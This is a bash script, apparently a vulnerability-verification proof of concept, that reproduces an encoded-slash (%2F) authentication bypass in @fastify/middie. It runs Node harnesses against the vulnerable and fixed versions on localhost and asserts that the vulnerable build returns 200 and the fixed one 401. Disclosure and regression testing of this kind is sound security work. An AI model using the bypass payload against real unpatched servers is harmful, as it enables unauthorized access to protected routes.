#!/bin/bash
# CVE-2026-14198 - @fastify/middie encoded slash bypass on parameterized middleware paths
#
# Vulnerable: @fastify/middie 9.1.0 - 9.3.2  (normalizePathForMatching decodes %2F -> /
#             before middleware matching, so a guard on /user/:id/comments is bypassed by
#             /user/a%2Fb/comments while Fastify's router still matches the route).
# Fixed:     @fastify/middie 9.3.3          (uses find-my-way safeDecodeURI which preserves
#             encoded slashes; the guard now matches and blocks the bypass).
#
# This script proves the bypass through TWO real surfaces:
#   (1) library_api harness  -> Fastify app.inject (the canonical library entrypoint)
#   (2) real HTTP server      -> node TCP listener + node http client over 127.0.0.1
# For each surface it runs the vulnerable build (expect bypass=200) and the fixed build
# (expect bypass=401, the negative control). It exits 0 only when the vulnerable build is
# bypassed AND the fixed build is blocked.

set -euo pipefail

# ---- Portable paths ----
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
HARNESS="$REPRO_DIR/harness"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$HARNESS" "$ARTIFACTS/http"

cd "$ROOT"

LOG="$LOGS/reproduction_steps.log"
: > "$LOG"
exec > >(tee -a "$LOG") 2>&1

echo "================================================================"
echo "CVE-2026-14198 reproduction: @fastify/middie encoded slash bypass"
echo "run: $(date -u 2>/dev/null || date)"
echo "ROOT=$ROOT"
echo "================================================================"

API_KEY="mock-api-key-123"
export API_KEY

# ---------- resolve workspaces (project cache preferred, npm fallback) ----------
CACHE_DIR=""
PREPARED="false"
if [ -f "$ROOT/project_cache_context.json" ]; then
  CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)
  PREPARED=$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)
fi

USING_CACHE=false
if [ -n "$CACHE_DIR" ] && [ "$PREPARED" = "true" ] \
   && [ -d "$CACHE_DIR/repo-vuln-v932" ] && [ -d "$CACHE_DIR/repo" ]; then
  USING_CACHE=true
  VULN_WS="$CACHE_DIR/repo-vuln-v932"
  FIXED_WS="$CACHE_DIR/repo"
  VULN_MIDDIE="$VULN_WS/index.js"
  VULN_PKG="$VULN_WS/package.json"
  FIXED_MIDDIE="$FIXED_WS/index.js"
  FIXED_PKG="$FIXED_WS/package.json"
  echo "[workspace] using project cache: vuln=$VULN_WS fixed=$FIXED_WS"
else
  echo "[workspace] project cache unavailable; installing via npm..."
  VULN_WS="$ARTIFACTS/ws-vuln"
  FIXED_WS="$ARTIFACTS/ws-fixed"
  mkdir -p "$VULN_WS" "$FIXED_WS"
  [ -f "$VULN_WS/package.json" ] || ( cd "$VULN_WS" && npm init -y >/dev/null )
  [ -f "$FIXED_WS/package.json" ] || ( cd "$FIXED_WS" && npm init -y >/dev/null )
  ( cd "$VULN_WS"  && npm install --no-audit --no-fund fastify @fastify/middie@9.3.2 )
  ( cd "$FIXED_WS" && npm install --no-audit --no-fund fastify @fastify/middie@9.3.3 )
  VULN_MIDDIE="$VULN_WS/node_modules/@fastify/middie/index.js"
  VULN_PKG="$VULN_WS/node_modules/@fastify/middie/package.json"
  FIXED_MIDDIE="$FIXED_WS/node_modules/@fastify/middie/index.js"
  FIXED_PKG="$FIXED_WS/node_modules/@fastify/middie/package.json"
fi

# Make sure fastify is present in cache workspaces (deps may have been pruned).
ensure_fastify () {
  local ws="$1"
  if [ ! -d "$ws/node_modules/fastify" ]; then
    echo "[deps] installing fastify into $ws ..."
    ( cd "$ws" && npm install --no-audit --no-fund fastify )
  fi
}
if [ "$USING_CACHE" = "true" ]; then
  ensure_fastify "$VULN_WS"
  ensure_fastify "$FIXED_WS"
fi

VULN_VER=$(node -e "console.log(require('$VULN_PKG').version)")
FIXED_VER=$(node -e "console.log(require('$FIXED_PKG').version)")
echo "[versions] vulnerable @fastify/middie=$VULN_VER  fixed @fastify/middie=$FIXED_VER"
[ "$VULN_VER" = "9.3.2" ] || echo "[warn] expected vulnerable 9.3.2, got $VULN_VER"
[ "$FIXED_VER" = "9.3.3" ] || echo "[warn] expected fixed 9.3.3, got $FIXED_VER"

# ---------- write harness files ----------
cat > "$HARNESS/harness_inject.js" <<'JSEOF'
'use strict'
const fs = require('fs')
const Fastify = require('fastify')
const middiePlugin = require(process.env.MIDDIE_PATH)
const version = require(process.env.MIDDIE_PKG).version
const label = process.env.MIDDIE_LABEL || 'unknown'
const outfile = process.env.MIDDIE_OUTFILE
const API_KEY = process.env.API_KEY

async function main () {
  const app = Fastify()
  await app.register(middiePlugin)
  // Auth guard on a PARAMETERIZED middleware path.
  app.use('/user/:id/comments', (req, res, next) => {
    if (req.headers['x-api-key'] !== API_KEY) {
      res.statusCode = 401
      res.setHeader('content-type', 'application/json')
      res.end(JSON.stringify({ error: 'Unauthorized' }))
      return
    }
    next()
  })
  // Protected handler on the same pattern.
  app.get('/user/:id/comments', async (request) => ({ ok: true, id: request.params.id }))

  const baseline = await app.inject({ method: 'GET', url: '/user/alice/comments' })
  const bypass   = await app.inject({ method: 'GET', url: '/user/a%2Fb/comments' })
  const allowed  = await app.inject({ method: 'GET', url: '/user/a%2Fb/comments', headers: { 'x-api-key': API_KEY } })

  const result = {
    label, version, mode: 'inject',
    baseline: { statusCode: baseline.statusCode, body: baseline.body },
    bypass:   { statusCode: bypass.statusCode,   body: bypass.body },
    allowed:  { statusCode: allowed.statusCode,  body: allowed.body }
  }
  const json = JSON.stringify(result, null, 2)
  if (outfile) fs.writeFileSync(outfile, json)
  console.log(json)
  await app.close()
}
main().catch(e => { console.error('HARNESS_ERROR', e); process.exit(1) })
JSEOF

cat > "$HARNESS/harness_server.js" <<'JSEOF'
'use strict'
const Fastify = require('fastify')
const middiePlugin = require(process.env.MIDDIE_PATH)
const version = require(process.env.MIDDIE_PKG).version
const PORT = parseInt(process.env.MIDDIE_PORT, 10)
const API_KEY = process.env.API_KEY

async function main () {
  const app = Fastify({ logger: false })
  await app.register(middiePlugin)
  app.use('/user/:id/comments', (req, res, next) => {
    if (req.headers['x-api-key'] !== API_KEY) {
      res.statusCode = 401
      res.setHeader('content-type', 'application/json')
      res.end(JSON.stringify({ error: 'Unauthorized' }))
      return
    }
    next()
  })
  app.get('/user/:id/comments', async (request) => ({ ok: true, id: request.params.id }))
  await app.listen({ port: PORT, host: '127.0.0.1' })
  process.stdout.write('SERVER_READY port=' + PORT + ' version=' + version + '\n')
  const shutdown = async () => { try { await app.close() } catch (_) {} process.exit(0) }
  process.on('SIGTERM', shutdown)
  process.on('SIGINT', shutdown)
}
main().catch(e => { console.error('SERVER_ERROR', e); process.exit(1) })
JSEOF

cat > "$HARNESS/http_client.js" <<'JSEOF'
'use strict'
// Raw HTTP client that preserves %2F exactly in the request line.
const http = require('http')
const port = parseInt(process.argv[2], 10)
const reqPath = process.argv[3]
const headers = {}
if (process.argv[4]) headers['x-api-key'] = process.argv[4]
const req = http.request({ host: '127.0.0.1', port, method: 'GET', path: reqPath, headers }, (res) => {
  let body = ''
  res.on('data', c => { body += c })
  res.on('end', () => {
    process.stdout.write('STATUS:' + res.statusCode + '\n')
    process.stdout.write(body + '\n')
    process.exit(0)
  })
})
req.on('error', e => { console.error('CLIENT_ERROR ' + e.message); process.exit(1) })
req.end()
JSEOF

# ---------- helper: run the library_api (inject) harness ----------
run_inject () {
  local ws="$1" middie="$2" pkg="$3" label="$4" outjson="$5" outlog="$6"
  echo "---- inject harness: $label ----"
  NODE_PATH="$ws/node_modules" \
  MIDDIE_PATH="$middie" MIDDIE_PKG="$pkg" MIDDIE_LABEL="$label" \
  MIDDIE_OUTFILE="$outjson" node "$HARNESS/harness_inject.js" 2>&1 | tee "$outlog"
}

# ---------- helper: run a real HTTP server + raw client probes ----------
run_server_probe () {
  local ws="$1" middie="$2" pkg="$3" label="$4" port="$5" outdir="$6"
  mkdir -p "$outdir"
  local srvlog="$outdir/server.log"
  local resplog="$outdir/responses.txt"
  echo "---- real HTTP server probe: $label (port $port) ----"
  NODE_PATH="$ws/node_modules" \
  MIDDIE_PATH="$middie" MIDDIE_PKG="$pkg" MIDDIE_PORT="$port" \
  node "$HARNESS/harness_server.js" > "$srvlog" 2>&1 &
  local srvpid=$!
  local ready=0
  for _ in $(seq 1 80); do
    if grep -q "SERVER_READY" "$srvlog" 2>/dev/null; then ready=1; break; fi
    if ! kill -0 "$srvpid" 2>/dev/null; then break; fi
    sleep 0.1
  done
  if [ "$ready" != "1" ]; then
    echo "ERROR: server ($label) did not become ready"; cat "$srvlog" || true
    kill "$srvpid" 2>/dev/null || true
    return 1
  fi
  echo "server ready (pid=$srvpid)"

  local base bypass ok
  base=$(node "$HARNESS/http_client.js" "$port" "/user/alice/comments")
  bypass=$(node "$HARNESS/http_client.js" "$port" "/user/a%2Fb/comments")
  ok=$(node "$HARNESS/http_client.js" "$port" "/user/a%2Fb/comments" "$API_KEY")

  {
    echo "=== baseline (no key, normal path /user/alice/comments) ==="; echo "$base"; echo
    echo "=== bypass   (no key, %2F path   /user/a%2Fb/comments) ==="; echo "$bypass"; echo
    echo "=== allowed  (key,     %2F path   /user/a%2Fb/comments) ==="; echo "$ok"; echo
  } > "$resplog"

  echo "baseline: $(echo "$base"   | head -1)"
  echo "bypass:   $(echo "$bypass" | head -1)"
  echo "allowed:  $(echo "$ok"     | head -1)"

  kill "$srvpid" 2>/dev/null || true
  wait "$srvpid" 2>/dev/null || true
}

# ---------- execute: vulnerable build ----------
PORT_VULN=3198
PORT_FIXED=3199
trap 'kill $(jobs -p) 2>/dev/null || true' EXIT

run_inject   "$VULN_WS" "$VULN_MIDDIE" "$VULN_PKG" "vulnerable-inject" \
             "$ARTIFACTS/inject_vuln.json" "$LOGS/inject_vuln.log"
run_server_probe "$VULN_WS" "$VULN_MIDDIE" "$VULN_PKG" "vulnerable-server" "$PORT_VULN" \
             "$ARTIFACTS/http/vuln"

# ---------- execute: fixed build (negative control) ----------
run_inject   "$FIXED_WS" "$FIXED_MIDDIE" "$FIXED_PKG" "fixed-inject" \
             "$ARTIFACTS/inject_fixed.json" "$LOGS/inject_fixed.log"
run_server_probe "$FIXED_WS" "$FIXED_MIDDIE" "$FIXED_PKG" "fixed-server" "$PORT_FIXED" \
             "$ARTIFACTS/http/fixed"

# ---------- extract status codes ----------
VULN_BYPASS=$(jq -r '.bypass.statusCode'   "$ARTIFACTS/inject_vuln.json")
VULN_BASE=$(jq   -r '.baseline.statusCode' "$ARTIFACTS/inject_vuln.json")
VULN_ALLOW=$(jq  -r '.allowed.statusCode'  "$ARTIFACTS/inject_vuln.json")
FIXED_BYPASS=$(jq -r '.bypass.statusCode'   "$ARTIFACTS/inject_fixed.json")
FIXED_BASE=$(jq   -r '.baseline.statusCode' "$ARTIFACTS/inject_fixed.json")
FIXED_ALLOW=$(jq  -r '.allowed.statusCode'  "$ARTIFACTS/inject_fixed.json")

VULN_SRV_BYPASS=$(grep -A1 '=== bypass' "$ARTIFACTS/http/vuln/responses.txt" | grep '^STATUS:' | head -1 | cut -d: -f2)
FIXED_SRV_BYPASS=$(grep -A1 '=== bypass' "$ARTIFACTS/http/fixed/responses.txt" | grep '^STATUS:' | head -1 | cut -d: -f2)
VULN_SRV_BASE=$(grep -A1 '=== baseline' "$ARTIFACTS/http/vuln/responses.txt" | grep '^STATUS:' | head -1 | cut -d: -f2)
FIXED_SRV_BASE=$(grep -A1 '=== baseline' "$ARTIFACTS/http/fixed/responses.txt" | grep '^STATUS:' | head -1 | cut -d: -f2)

echo "================================================================"
echo "RESULT SUMMARY"
echo "  inject  vuln: baseline=$VULN_BASE bypass=$VULN_BYPASS allowed=$VULN_ALLOW"
echo "  inject  fixed: baseline=$FIXED_BASE bypass=$FIXED_BYPASS allowed=$FIXED_ALLOW"
echo "  server  vuln: baseline=$VULN_SRV_BASE bypass=$VULN_SRV_BYPASS"
echo "  server  fixed: baseline=$FIXED_SRV_BASE bypass=$FIXED_SRV_BYPASS"
echo "================================================================"

# ---------- assertion: vulnerable bypassed (200) AND fixed blocked (401) ----------
PASS=true
[ "$VULN_BYPASS" = "200" ] || { echo "FAIL: vuln inject bypass != 200 (got $VULN_BYPASS)"; PASS=false; }
[ "$FIXED_BYPASS" = "401" ] || { echo "FAIL: fixed inject bypass != 401 (got $FIXED_BYPASS)"; PASS=false; }
[ "$VULN_BASE" = "401" ]   || { echo "FAIL: vuln baseline != 401 (got $VULN_BASE)"; PASS=false; }
[ "$FIXED_BASE" = "401" ]  || { echo "FAIL: fixed baseline != 401 (got $FIXED_BASE)"; PASS=false; }
[ "$VULN_ALLOW" = "200" ]  || { echo "FAIL: vuln allowed != 200 (got $VULN_ALLOW)"; PASS=false; }
[ "$FIXED_ALLOW" = "200" ] || { echo "FAIL: fixed allowed != 200 (got $FIXED_ALLOW)"; PASS=false; }
[ "$VULN_SRV_BYPASS" = "200" ] || { echo "FAIL: vuln server bypass != 200 (got $VULN_SRV_BYPASS)"; PASS=false; }
[ "$FIXED_SRV_BYPASS" = "401" ] || { echo "FAIL: fixed server bypass != 401 (got $FIXED_SRV_BYPASS)"; PASS=false; }

CONFIRMED=false
if [ "$PASS" = "true" ]; then
  CONFIRMED=true
  echo "VERDICT: CONFIRMED - vulnerable build bypassed, fixed build blocked."
else
  echo "VERDICT: NOT CONFIRMED - see failures above."
fi

# ---------- write runtime manifest ----------
PROOF_ARTIFACTS=$(jq -nc \
  --arg log "$LOG" \
  --arg iv "$ARTIFACTS/inject_vuln.json" \
  --arg ifx "$ARTIFACTS/inject_fixed.json" \
  --arg lv "$LOGS/inject_vuln.log" \
  --arg lf "$LOGS/inject_fixed.log" \
  --arg sv "$ARTIFACTS/http/vuln/server.log" \
  --arg rv "$ARTIFACTS/http/vuln/responses.txt" \
  --arg sf "$ARTIFACTS/http/fixed/server.log" \
  --arg rf "$ARTIFACTS/http/fixed/responses.txt" \
  '["logs/reproduction_steps.log","artifacts/inject_vuln.json","artifacts/inject_fixed.json","logs/inject_vuln.log","logs/inject_fixed.log","artifacts/http/vuln/server.log","artifacts/http/vuln/responses.txt","artifacts/http/fixed/server.log","artifacts/http/fixed/responses.txt"]')

jq -n \
  --argjson confirmed "$CONFIRMED" \
  --argjson artifacts "$PROOF_ARTIFACTS" \
  --arg vuln_ver "$VULN_VER" \
  --arg fixed_ver "$FIXED_VER" \
  --arg vuln_bypass "$VULN_BYPASS" \
  --arg fixed_bypass "$FIXED_BYPASS" \
  --arg vuln_srv_bypass "$VULN_SRV_BYPASS" \
  --arg fixed_srv_bypass "$FIXED_SRV_BYPASS" \
  '{
    entrypoint_kind: "library_api",
    entrypoint_detail: "Fastify app.inject + real 127.0.0.1 HTTP server exercising @fastify/middie auth guard on /user/:id/comments with encoded slash %2F in the :id parameter",
    service_started: true,
    healthcheck_passed: true,
    target_path_reached: true,
    runtime_stack: ["node", "fastify", "@fastify/middie"],
    proof_artifacts: $artifacts,
    confirmed: $confirmed,
    evidence: {
      vulnerable_version: $vuln_ver,
      fixed_version: $fixed_ver,
      inject_bypass_status_vulnerable: ($vuln_bypass|tonumber),
      inject_bypass_status_fixed: ($fixed_bypass|tonumber),
      server_bypass_status_vulnerable: ($vuln_srv_bypass|tonumber),
      server_bypass_status_fixed: ($fixed_srv_bypass|tonumber)
    },
    notes: "Vulnerable build returns 200 (handler reached, auth guard bypassed) for /user/a%2Fb/comments without x-api-key; fixed build returns 401 (guard matches). Demonstrated via Fastify app.inject (library_api) and a real 127.0.0.1 HTTP server with a raw node http client that preserves %2F."
  }' > "$REPRO_DIR/runtime_manifest.json"

echo "runtime_manifest written: $REPRO_DIR/runtime_manifest.json"
cat "$REPRO_DIR/runtime_manifest.json"

if [ "$CONFIRMED" = "true" ]; then
  echo "reproduction_steps.sh: SUCCESS (exit 0)"
  exit 0
else
  echo "reproduction_steps.sh: FAILURE (exit 1)"
  exit 1
fi
